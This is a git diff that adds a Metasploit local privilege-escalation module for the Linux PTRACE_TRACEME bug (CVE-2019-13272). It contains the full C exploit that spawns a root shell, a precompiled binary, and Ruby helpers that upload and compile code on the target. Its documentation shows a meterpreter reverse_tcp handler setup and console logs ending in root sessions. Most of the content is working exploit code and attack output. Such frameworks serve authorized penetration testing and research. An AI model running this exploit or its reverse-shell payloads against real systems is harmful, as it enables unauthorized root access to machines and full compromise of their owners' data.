diff --git a/data/exploits/CVE-2019-13272/Makefile b/data/exploits/CVE-2019-13272/Makefile new file mode 100644 index 0000000000..0beb9ddee2 --- /dev/null +++ b/data/exploits/CVE-2019-13272/Makefile @@ -0,0 +1,4 @@ + +all: + x86_64-linux-musl-cc -static -s -pie poc.c -o exploit + diff --git a/data/exploits/CVE-2019-13272/exploit b/data/exploits/CVE-2019-13272/exploit new file mode 100755 index 0000000000..31c519d41b Binary files /dev/null and b/data/exploits/CVE-2019-13272/exploit differ diff --git a/data/exploits/CVE-2019-13272/poc.c b/data/exploits/CVE-2019-13272/poc.c new file mode 100644 index 0000000000..5b1ebdecb5 --- /dev/null +++ b/data/exploits/CVE-2019-13272/poc.c @@ -0,0 +1,464 @@ +// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) +// Uses pkexec technique +// --- +// Original discovery and exploit author: Jann Horn +// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903 +// --- +// +// - added known helper paths +// - added search for suitable helpers +// - added automatic targeting +// - changed target suid executable from passwd to pkexec +// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272 +// --- +// Tested on: +// - Ubuntu 16.04.5 kernel 4.15.0-29-generic +// - Ubuntu 18.04.1 kernel 4.15.0-20-generic +// - Ubuntu 19.04 kernel 5.0.0-15-generic +// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic +// - Linux Mint 17.3 kernel 4.4.0-89-generic +// - Linux Mint 18.3 kernel 4.13.0-16-generic +// - Linux Mint 19 kernel 4.15.0-20-generic +// - Xubuntu 16.04.4 kernel 4.13.0-36-generic +// - ElementaryOS 0.4.1 4.8.0-52-generic +// - Backbox 6 kernel 4.18.0-21-generic +// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64 +// - Kali kernel 4.19.0-kali5-amd64 +// - Redcore 1806 (LXQT) kernel 4.16.16-redcore +// - MX 18.3 kernel 4.19.37-2~mx17+1 +// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64 +// - Debian 9.4.0 kernel 4.9.0-6-amd64 +// - Debian 10.0.0 kernel 4.19.0-5-amd64 +// - Devuan 2.0.0 kernel 4.9.0-6-amd64 +// - SparkyLinux 5.8 kernel 4.19.0-5-amd64 +// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64 +// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO +// - Mageia 6 kernel 4.9.35-desktop-1.mga6 +// - Antergos 18.7 kernel 4.17.6-1-ARCH +// --- +// user@linux-mint-19-2:~$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root +// user@linux-mint-19-2:~$ ./ptrace_traceme_root +// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) +// [.] Checking environment ... +// [~] Done, looks good +// [.] Searching for known helpers ... +// [~] Found known helper: /usr/sbin/mate-power-backlight-helper +// [.] Using helper: /usr/sbin/mate-power-backlight-helper +// [.] Spawning suid process (/usr/bin/pkexec) ... +// [.] Tracing midpid ... +// [~] Attached to midpid +// To run a command as administrator (user "root"), use "sudo ". +// See "man sudo_root" for details. +// +// root@linux-mint-19-2:/home/user# +// --- + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define DEBUG + +#ifdef DEBUG +# define dprintf printf +#else +# define dprintf +#endif + +#define SAFE(expr) ({ \ + typeof(expr) __res = (expr); \ + if (__res == -1) { \ + dprintf("[-] Error: %s\n", #expr); \ + return 0; \ + } \ + __res; \ +}) +#define max(a,b) ((a)>(b) ? (a) : (b)) + +/* + * execveat() syscall + * https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl + */ +#ifndef __NR_execveat +# define __NR_execveat 322 +#endif + +static const char *SHELL = "/bin/bash"; + +static int middle_success = 1; +static int block_pipe[2]; +static int self_fd = -1; +static int dummy_status; +static const char *helper_path; +static const char *pkexec_path = "/usr/bin/pkexec"; +static const char *pkaction_path = "/usr/bin/pkaction"; +struct stat st; + +const char *helpers[1024]; + +const char *known_helpers[] = { + "/usr/lib/gnome-settings-daemon/gsd-backlight-helper", + "/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper", + "/usr/lib/unity-settings-daemon/usd-backlight-helper", + "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper", + "/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper", + "/usr/sbin/mate-power-backlight-helper", + "/usr/bin/xfpm-power-backlight-helper", + "/usr/bin/lxqt-backlight_backend", + "/usr/libexec/gsd-wacom-led-helper", + "/usr/libexec/gsd-wacom-oled-helper", + "/usr/libexec/gsd-backlight-helper", + "/usr/lib/gsd-backlight-helper", + "/usr/lib/gsd-wacom-led-helper", + "/usr/lib/gsd-wacom-oled-helper", +}; + +/* temporary printf; returned pointer is valid until next tprintf */ +static char *tprintf(char *fmt, ...) { + static char buf[10000]; + va_list ap; + va_start(ap, fmt); + vsprintf(buf, fmt, ap); + va_end(ap); + return buf; +} + +/* + * fork, execute pkexec in parent, force parent to trace our child process, + * execute suid executable (pkexec) in child. + */ +static int middle_main(void *dummy) { + prctl(PR_SET_PDEATHSIG, SIGKILL); + pid_t middle = getpid(); + + self_fd = SAFE(open("/proc/self/exe", O_RDONLY)); + + pid_t child = SAFE(fork()); + if (child == 0) { + prctl(PR_SET_PDEATHSIG, SIGKILL); + + SAFE(dup2(self_fd, 42)); + + /* spin until our parent becomes privileged (have to be fast here) */ + int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY)); + char *needle = tprintf("\nUid:\t%d\t0\t", getuid()); + while (1) { + char buf[1000]; + ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0)); + buf[buflen] = '\0'; + if (strstr(buf, needle)) break; + } + + /* + * this is where the bug is triggered. + * while our parent is in the middle of pkexec, we force it to become our + * tracer, with pkexec's creds as ptracer_cred. + */ + SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL)); + + /* + * now we execute a suid executable (pkexec). + * Because the ptrace relationship is considered to be privileged, + * this is a proper suid execution despite the attached tracer, + * not a degraded one. + * at the end of execve(), this process receives a SIGTRAP from ptrace. + */ + execl(pkexec_path, basename(pkexec_path), NULL); + + dprintf("[-] execl: Executing suid executable failed"); + exit(EXIT_FAILURE); + } + + SAFE(dup2(self_fd, 0)); + SAFE(dup2(block_pipe[1], 1)); + + /* execute pkexec as current user */ + struct passwd *pw = getpwuid(getuid()); + if (pw == NULL) { + dprintf("[-] getpwuid: Failed to retrieve username"); + exit(EXIT_FAILURE); + } + + middle_success = 1; + execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name, + helper_path, + "--help", NULL); + middle_success = 0; + dprintf("[-] execl: Executing pkexec failed"); + exit(EXIT_FAILURE); +} + +/* ptrace pid and wait for signal */ +static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) { + struct user_regs_struct regs; + struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) }; + SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL)); + SAFE(waitpid(pid, &dummy_status, 0)); + SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov)); + + /* set up indirect arguments */ + unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL; + struct injected_page { + unsigned long argv[2]; + unsigned long envv[1]; + char arg0[8]; + char path[1]; + } ipage = { + .argv = { scratch_area + offsetof(struct injected_page, arg0) } + }; + strcpy(ipage.arg0, arg0); + int i; + for (i = 0; i < sizeof(ipage)/sizeof(long); i++) { + unsigned long pdata = ((unsigned long *)&ipage)[i]; + SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long), + (void*)pdata)); + } + + /* execveat(exec_fd, path, argv, envv, flags) */ + regs.orig_rax = __NR_execveat; + regs.rdi = exec_fd; + regs.rsi = scratch_area + offsetof(struct injected_page, path); + regs.rdx = scratch_area + offsetof(struct injected_page, argv); + regs.r10 = scratch_area + offsetof(struct injected_page, envv); + regs.r8 = AT_EMPTY_PATH; + + SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov)); + SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL)); + SAFE(waitpid(pid, &dummy_status, 0)); + + return 0; +} + +static int middle_stage2(void) { + /* our child is hanging in signal delivery from execve()'s SIGTRAP */ + pid_t child = SAFE(waitpid(-1, &dummy_status, 0)); + return force_exec_and_wait(child, 42, "stage3"); +} + +// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * * + +static int spawn_shell(void) { + SAFE(setresgid(0, 0, 0)); + SAFE(setresuid(0, 0, 0)); + execlp(SHELL, basename(SHELL), NULL); + dprintf("[-] execlp: Executing shell %s failed", SHELL); + exit(EXIT_FAILURE); +} + +// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * * + +static int check_env(void) { + int warn = 0; + const char* xdg_session = getenv("XDG_SESSION_ID"); + + dprintf("[.] Checking environment ...\n"); + + if (stat(pkexec_path, &st) != 0) { + dprintf("[-] Could not find pkexec executable at %s\n", pkexec_path); + exit(EXIT_FAILURE); + } + if (stat(pkaction_path, &st) != 0) { + dprintf("[-] Could not find pkaction executable at %s\n", pkaction_path); + exit(EXIT_FAILURE); + } + + if (stat("/dev/grsec", &st) == 0) { + dprintf("[-] Warning: grsec is in use\n"); + warn++; + } + if (xdg_session == NULL) { + dprintf("[!] Warning: $XDG_SESSION_ID is not set\n"); + warn++; + } + if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) { + dprintf("[!] Warning: Could not find active PolKit agent\n"); + warn++; + } + if (stat("/usr/sbin/getsebool", &st) == 0) { + if (system("/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on") == 0) { + dprintf("[!] Warning: SELinux deny_ptrace is enabled\n"); + warn++; + } + } + + dprintf("[~] Done, looks good\n"); + + return warn; +} + +/* + * Use pkaction to search PolKit policy actions for viable helper executables. + * Check each action for allow_active=yes, extract the associated helper path, + * and check the helper path exists. + */ +int find_helpers() { + char cmd[1024]; + snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path); + FILE *fp; + fp = popen(cmd, "r"); + if (fp == NULL) { + dprintf("[-] Failed to run: %s\n", cmd); + exit(EXIT_FAILURE); + } + + char line[1024]; + char buffer[2048]; + int helper_index = 0; + int useful_action = 0; + static const char *needle = "org.freedesktop.policykit.exec.path -> "; + int needle_length = strlen(needle); + + while (fgets(line, sizeof(line)-1, fp) != NULL) { + /* check the action uses allow_active=yes*/ + if (strstr(line, "implicit active:")) { + if (strstr(line, "yes")) { + useful_action = 1; + } + continue; + } + + if (useful_action == 0) + continue; + useful_action = 0; + + /* extract the helper path */ + int length = strlen(line); + char* found = memmem(&line[0], length, needle, needle_length); + if (found == NULL) + continue; + + memset(buffer, 0, sizeof(buffer)); + int i; + for (i = 0; found[needle_length + i] != '\n'; i++) { + if (i >= sizeof(buffer)-1) + continue; + buffer[i] = found[needle_length + i]; + } + + if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 || + strstr(&buffer[0], "/cpugovctl") != 0 || + strstr(&buffer[0], "/package-system-locked") != 0 || + strstr(&buffer[0], "/cddistupgrader") != 0) { + dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]); + continue; + } + + /* check the path exists */ + if (stat(&buffer[0], &st) != 0) + continue; + + helpers[helper_index] = strndup(&buffer[0], strlen(buffer)); + helper_index++; + + if (helper_index >= sizeof(helpers)/sizeof(helpers[0])) + break; + } + + pclose(fp); + return 0; +} + +// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * + +int ptrace_traceme_root() { + dprintf("[.] Using helper: %s\n", helper_path); + + /* + * set up a pipe such that the next write to it will block: packet mode, + * limited to one packet + */ + SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT)); + SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000)); + char dummy = 0; + SAFE(write(block_pipe[1], &dummy, 1)); + + /* spawn pkexec in a child, and continue here once our child is in execve() */ + dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path); + static char middle_stack[1024*1024]; + pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack), + CLONE_VM|CLONE_VFORK|SIGCHLD, NULL)); + if (!middle_success) return 1; + + /* + * wait for our child to go through both execve() calls (first pkexec, then + * the executable permitted by polkit policy). + */ + while (1) { + int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY); + char buf[16]; + int buflen = SAFE(read(fd, buf, sizeof(buf)-1)); + buf[buflen] = '\0'; + *strchrnul(buf, '\n') = '\0'; + if (strncmp(buf, basename(helper_path), 15) == 0) + break; + usleep(100000); + } + + /* + * our child should have gone through both the privileged execve() and the + * following execve() here + */ + dprintf("[.] Tracing midpid ...\n"); + SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL)); + SAFE(waitpid(midpid, &dummy_status, 0)); + dprintf("[~] Attached to midpid\n"); + + force_exec_and_wait(midpid, 0, "stage2"); + exit(EXIT_SUCCESS); +} + +int main(int argc, char **argv) { + if (strcmp(argv[0], "stage2") == 0) + return middle_stage2(); + if (strcmp(argv[0], "stage3") == 0) + return spawn_shell(); + + dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n"); + + check_env(); + + if (argc > 1 && strcmp(argv[1], "check") == 0) { + exit(0); + } + + /* Search for known helpers defined in 'known_helpers' array */ + dprintf("[.] Searching for known helpers ...\n"); + int i; + for (i=0; i use exploit/multi/handler +msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +msf5 exploit(multi/handler) > set LHOST 192.168.56.1 +LHOST => 192.168.56.1 +msf5 exploit(multi/handler) > set LPORT 4444 +LPORT => 4444 +msf5 exploit(multi/handler) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 + +# Execute the payload using gnome-terminal on the target + +[*] Sending stage (3021284 bytes) to 192.168.56.7 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.7:33244) at 2019-09-03 17:42:17 +0800 + +meterpreter > background + +``` + +#### Escalate + +In this scenario, gcc is installed so we can live compile on the system. + +``` +msf5 exploit(multi/handler) > use exploit/linux/local/ptrace_traceme_pkexec_helper +msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > set LHOST 192.168.56.1 +LHOST => 192.168.56.1 +msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > set SESSION 1 +SESSION => 1 +msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > set VERBOSE true +VERBOSE => true +msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > exploit +[*] Started reverse TCP handler on 192.168.56.1:4444 +[+] Kernel version 4.15.0-13-generic appears to be vulnerable +[+] pkexec is installed +[*] Writing '/tmp/.zacecz' (285 bytes) ... +[+] gcc is installed +[*] Live compiling exploit on system... +[*] Writing '/tmp/.fmrefxhjjcq.c' (9718 bytes) ... +[*] Executing exploit '/tmp/.fmrefxhjjcq' +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3021284 bytes) to 192.168.56.7 +[*] Exploit result: +Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) +[.] Checking environment ... +[!] Warning: $XDG_SESSION_ID is not set +[!] Warning: Could not find active PolKit agent +[~] Done, looks good +[.] Searching for known helpers ... +[~] Found known helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper +[.] Using helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper +[.] Spawning suid process (/usr/bin/pkexec) ... +[.] Tracing midpid ... +[~] Attached to midpid +[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.7:58270) at 2019-09-03 17:29:57 +0800 +meterpreter > getuid +Server username: uid=0, gid=0, euid=0, egid=0 +``` + +#### Escalate w/ pre-compiled binaries + +It is possible to force pre-compiled binaries, in a scenario where `build-essential` or `gcc` aren't on the system. + +``` +msf5 exploit(multi/handler) > use exploit/linux/local/ptrace_traceme_pkexec_helper +msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > set LHOST 192.168.56.1 +LHOST => 192.168.56.1 +msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > set SESSION 1 +SESSION => 1 +msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > set COMPILE False +COMPILE => False +msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[+] Kernel version 4.15.0-13-generic appears to be vulnerable +[+] pkexec is installed +[*] Writing '/tmp/.yaamzkukaml' (285 bytes) ... +[*] Dropping pre-compiled exploit on system... +[*] Writing '/tmp/.wtoplrisgzzo' (51200 bytes) ... +[*] Executing exploit '/tmp/.wtoplrisgzzo' +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3021284 bytes) to 192.168.56.7 +[*] Exploit result: +Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) +[.] Checking environment ... +[!] Warning: $XDG_SESSION_ID is not set +[!] Warning: Could not find active PolKit agent +[~] Done, looks good +[.] Searching for known helpers ... +[~] Found known helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper +[.] Using helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper +[.] Spawning suid process (/usr/bin/pkexec) ... +[.] Tracing midpid ... +[~] Attached to midpid +[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.7:58272) at 2019-09-03 17:30:16 +0800 +``` + diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index 06a1452aa9..8652c10d57 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -398,6 +398,18 @@ module Msf::Post::File write_file(remote, ::File.read(local)) end + # + # Upload a binary and write it as an executable file +remote+ on the + # remote filesystem. + # + # @param remote [String] Destination file name on the remote filesystem + # @param data [String] Data to be uploaded + def upload_and_chmodx(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + write_file path, data + chmod(path) + end + # # Sets the permissions on a remote file # @@ -415,6 +427,16 @@ module Msf::Post::File end end + # + # Read a local exploit file binary from the data directory + # + # @param path [String] Directory in the exploits folder + # @param path [String] Filename in the data folder + def exploit_data(data_directory, file) + file_path = ::File.join(::Msf::Config.data_directory, "exploits", data_directory, file) + ::File.binread(file_path) + end + # # Delete remote files # diff --git a/lib/msf/core/post/linux.rb b/lib/msf/core/post/linux.rb index 7ac85b867c..a6737c2f49 100644 --- a/lib/msf/core/post/linux.rb +++ b/lib/msf/core/post/linux.rb @@ -2,6 +2,7 @@ module Msf::Post::Linux require 'msf/core/post/linux/priv' require 'msf/core/post/linux/system' + require 'msf/core/post/linux/compile' require 'msf/core/post/linux/kernel' require 'msf/core/post/linux/busy_box' end diff --git a/lib/msf/core/post/linux/compile.rb b/lib/msf/core/post/linux/compile.rb new file mode 100644 index 0000000000..87a620a4d0 --- /dev/null +++ b/lib/msf/core/post/linux/compile.rb @@ -0,0 +1,64 @@ +# -*- coding: binary -*- +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/unix' + +module Msf +class Post +module Linux +module Compile + include ::Msf::Post::Common + include ::Msf::Post::File + include ::Msf::Post::Unix + + def initialize(info = {}) + super + register_options( [ + OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]), + ], self.class) + end + + def live_compile? + return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') + + if has_gcc? + vprint_good 'gcc is installed' + return true + end + + unless datastore['COMPILE'].eql? 'Auto' + fail_with Failure::BadConfig, 'gcc is not installed. Set COMPILE False to upload a pre-compiled executable.' + end + end + + def upload_and_compile(path, data, gcc_args='') + write_file "#{path}.c", strip_comments(data) + + gcc_cmd = "gcc -o #{path} #{path}.c" + if session.type.eql? 'shell' + gcc_cmd = "PATH=\"$PATH:/usr/bin/\" #{gcc_cmd}" + end + + unless gcc_args.to_s.blank? + gcc_cmd << " #{gcc_args}" + end + + output = cmd_exec gcc_cmd + rm_f "#{path}.c" + + unless output.blank? + print_error output + fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable." + end + + chmod path + end + + def strip_comments(c_code) + c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '') + end + +end # Compile +end # Linux +end # Post +end # Msf diff --git a/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb b/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb new file mode 100644 index 0000000000..34c0abc1a0 --- /dev/null +++ b/modules/exploits/linux/local/ptrace_traceme_pkexec_helper.rb @@ -0,0 +1,132 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Post::Linux::Kernel + include Msf::Post::Linux::System + include Msf::Post::Linux::Compile + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linux Polkit pkexec helper PTRACE_TRACEME local root exploit', + 'Description' => %q{ + This module exploits an issue in ptrace_link in kernel/ptrace.c before Linux + kernel 5.1.17. This issue can be exploited from a Linux desktop terminal, but + not over an SSH session, as it requires execution from within the context of + a user with an active Polkit agent. + In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles + the recording of the credentials of a process that wants to create a ptrace + relationship, which allows local users to obtain root access by leveraging + certain scenarios with a parent-child process relationship, where a parent drops + privileges and calls execve (potentially allowing control by an attacker). One + contributing factor is an object lifetime issue (which can also cause a panic). + Another contributing factor is incorrect marking of a ptrace relationship as + privileged, which is exploitable through (for example) Polkit's pkexec helper + with PTRACE_TRACEME. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Jann Horn', # Discovery and exploit + 'bcoles', # Metasploit module + 'timwr', # Metasploit module + ], + 'References' => [ + ['CVE', '2019-13272'], + ['EDB', '47133'], + ['PACKETSTORM', '153663'], + ['URL', 'https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272'], + ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1903'], + ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X64 ], + 'Targets' => [[ 'Auto', {} ]], + 'DefaultOptions' => + { + 'Payload' => 'linux/x64/meterpreter/reverse_tcp', + 'PrependFork' => true, + }, + 'DisclosureDate' => 'Jul 4 2019')) + register_advanced_options [ + OptBool.new('ForceExploit', [false, 'Override check result', false]), + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ] + end + + def check + # Introduced in 4.10, but also backported + # Patched in 4.4.185, 4.9.185, 4.14.133, 4.19.58, 5.1.17 + release = kernel_release + v = Gem::Version.new release.split('-').first + + if v >= Gem::Version.new('5.1.17') || v < Gem::Version.new('3') + vprint_error "Kernel version #{release} is not vulnerable" + return CheckCode::Safe + end + vprint_good "Kernel version #{release} appears to be vulnerable" + + unless command_exists? 'pkexec' + vprint_error 'pkexec is not installed' + return CheckCode::Safe + end + vprint_good 'pkexec is installed' + + arch = kernel_hardware + unless arch.include? 'x86_64' + vprint_error "System architecture #{arch} is not supported" + return CheckCode::Safe + end + vprint_good "System architecture #{arch} is supported" + + loginctl_output = cmd_exec('loginctl --no-ask-password show-session "$XDG_SESSION_ID" | grep Remote') + if loginctl_output =~ /Remote=yes/ + print_warning 'This is exploit requires a valid policykit session (it cannot be executed over ssh)' + return CheckCode::Safe + end + + CheckCode::Appears + end + + def exploit + if is_root? && !datastore['ForceExploit'] + fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' + end + + unless check == CheckCode::Appears + unless datastore['ForceExploit'] + fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' + end + print_warning 'Target does not appear to be vulnerable' + end + + unless writable? datastore['WritableDir'] + fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" + end + + payload_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" + upload_and_chmodx(payload_file, generate_payload_exe) + register_file_for_cleanup(payload_file) + + exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" + if live_compile? + vprint_status 'Live compiling exploit on system...' + upload_and_compile exploit_file, exploit_data('CVE-2019-13272', 'poc.c') + else + vprint_status 'Dropping pre-compiled exploit on system...' + upload_and_chmodx exploit_file, exploit_data('CVE-2019-13272', 'exploit') + end + register_file_for_cleanup(exploit_file) + + print_status("Executing exploit '#{exploit_file}'") + result = cmd_exec("echo #{payload_file} | #{exploit_file}") + print_status("Exploit result:\n#{result}") + end +end